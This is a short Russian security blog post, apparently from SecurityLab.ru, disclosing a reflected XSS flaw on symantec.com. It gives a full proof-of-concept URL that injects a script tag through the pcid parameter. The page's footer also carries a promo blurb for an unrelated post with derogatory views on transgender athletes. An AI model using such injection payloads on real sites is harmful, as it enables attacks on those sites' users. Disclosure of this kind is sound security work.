XSS на symantec.com

XSS на symantec.com
И как можно доверять свою защиту компании, которая не способна зищитить свой сайт?

Пример:

www.symantec.com/home_homeoffice/products/overview.jsp?pcid="><script>alert('www.securitylab.ru')</script>&pvid=nis2007beta
Security
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.

МЕДАЛЬ ЗА МУЖСКОЕ ПРОШЛОЕ

Спорт — это война генов, а не конкурс самоощущений. Если у тебя есть Y-хромосома, ты играешь с чит-кодом. Разбираем, почему справедливость для меньшинства стала дискриминацией для большинства и к чему приведет этот гендерный цирк.

Валерий Марчук

Блог посвящен безопасности и жизни секлаба